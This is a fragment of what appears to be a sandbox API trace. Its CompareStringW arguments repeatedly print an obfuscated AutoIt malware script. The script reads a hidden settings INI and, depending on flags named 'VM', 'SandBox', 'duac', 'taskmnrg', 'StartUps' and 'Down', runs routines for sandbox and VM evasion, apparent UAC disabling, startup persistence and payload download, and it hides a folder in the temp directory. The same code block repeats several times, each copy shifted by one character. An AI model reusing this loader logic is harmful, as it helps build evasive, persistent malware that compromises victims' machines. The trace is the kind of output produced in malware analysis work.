IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <>", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> ", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="al Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> ''", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File 